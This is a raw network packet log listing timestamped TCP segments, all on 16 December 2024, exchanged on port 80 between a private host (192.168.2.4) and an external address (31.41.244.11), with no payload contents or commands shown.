Dec 16, 2024 21:02:46.507860899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.507890940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.508080959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.508877993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.508908987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.508939981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.509824038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.509855032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.509891033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.509980917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.510823965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.510924101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.511845112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.511877060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.511910915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.512794971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.512830973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.512919903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.512986898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.513789892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.513910055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.515433073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.515461922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.515650034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.516014099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.517935038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.518188000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.518846035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.518901110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.518917084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.518949032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.519300938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.519520998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.519572020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.519608021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.519752979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.520272017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.520337105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.520441055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.520972967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.521040916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.521126986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.521720886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.521797895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.521823883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.522012949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.522420883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.522507906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.522629976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.523514986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.523626089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.524101973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.524128914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.524158955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.524816036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.524842978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.524900913 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.524990082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.525635958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.525758982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.526659012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.526686907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.526767969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.527604103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.527626038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.528177977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.668034077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.668090105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.668205976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.668245077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.668442011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.668487072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.668518066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.668560028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.669305086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.669365883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.669414043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.670216084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.670281887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.670336008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.670440912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.671156883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.671210051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.671251059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.671291113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.672198057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.672256947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.672301054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.672365904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.673187971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.673325062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.673347950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.673362017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.674248934 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.674295902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.674380064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.674418926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.675144911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.675185919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.675334930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.675407887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.676127911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.676239014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.676254988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.676286936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.677143097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.677215099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.677258015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.677298069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.678204060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.678263903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.678347111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.678421974 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.679119110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.679152012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.679300070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.679527044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.680157900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.680238008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.680304050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.680341005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.681096077 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.681134939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.681332111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.681368113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.682113886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.682157993 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.682238102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.682276011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.683101892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.683176041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.683192015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.683242083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.684056997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.684109926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.684118986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.684216976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.685300112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.685349941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.685363054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.685400963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.686141014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.686182022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.686295986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.686338902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.687036037 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.687077045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.687237024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.687278032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.688015938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.688085079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.688167095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.688208103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.689127922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.689258099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.689610004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.689666986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.690028906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.690068960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.690116882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.690154076 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.691009045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.691102028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.691123962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.691162109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.691982985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.692047119 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.692107916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.692183971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.693000078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.693064928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.693097115 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.693180084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.693969965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.694027901 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.694089890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.694180965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.694960117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.695019007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.695030928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.695066929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.695931911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.695976973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.696000099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.696047068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.696943998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.696989059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.697022915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.697060108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.697930098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.697969913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.698235989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.698389053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.698982000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.699044943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.699090958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.699126005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.699912071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.699953079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.700020075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.700061083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.700890064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.700934887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.701225042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.701263905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.701852083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.701889038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.701953888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.702025890 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.702840090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.702956915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.703013897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.703824043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.703892946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.704050064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.704097986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.704845905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.704895020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.704916954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.704957962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.705825090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.705868959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.705897093 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.705908060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.706916094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.706962109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.707087040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.707125902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.707814932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.707865000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.707901955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.707942963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.708795071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.708877087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.708914995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.708954096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.709791899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.709846020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.709883928 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.709920883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.710750103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.710793972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.710874081 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.710973978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.711954117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.711976051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.712014914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.712769032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.712821007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.712857962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.712903976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.713717937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.713805914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.713838100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.713850021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.714704990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.714752913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.714797974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.714835882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.715711117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.715761900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.715799093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.715838909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.716685057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.716723919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.716837883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.716949940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.717716932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.717878103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.717924118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.718683958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.718736887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.718774080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.719630003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.719700098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.860433102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.860474110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.860501051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.860524893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.860867977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.860912085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.861057043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.861700058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.861844063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.861953974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.861984968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.862010002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.862818003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.862880945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.862934113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.862976074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.863830090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.863874912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.863903999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.863945961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.864809990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.864849091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.864850044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.864886045 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.865778923 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.865822077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.865931034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.865966082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.866772890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.866833925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.866851091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.866890907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.867768049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.867820978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.867877007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.867916107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.868757963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.868798971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.868865967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.868911028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.869760036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.869797945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.869833946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.869869947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.870795965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.870847940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.870861053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.870901108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.871767998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.871819973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.871889114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.871970892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.872790098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.872838020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.872905970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.873003006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.873737097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.873863935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.873878956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.873898983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.874706030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.874787092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.874813080 CET	80	49842	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:46.874886990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:46.875699043 CET	80	49842	31.41.244.11	192.168.2.4
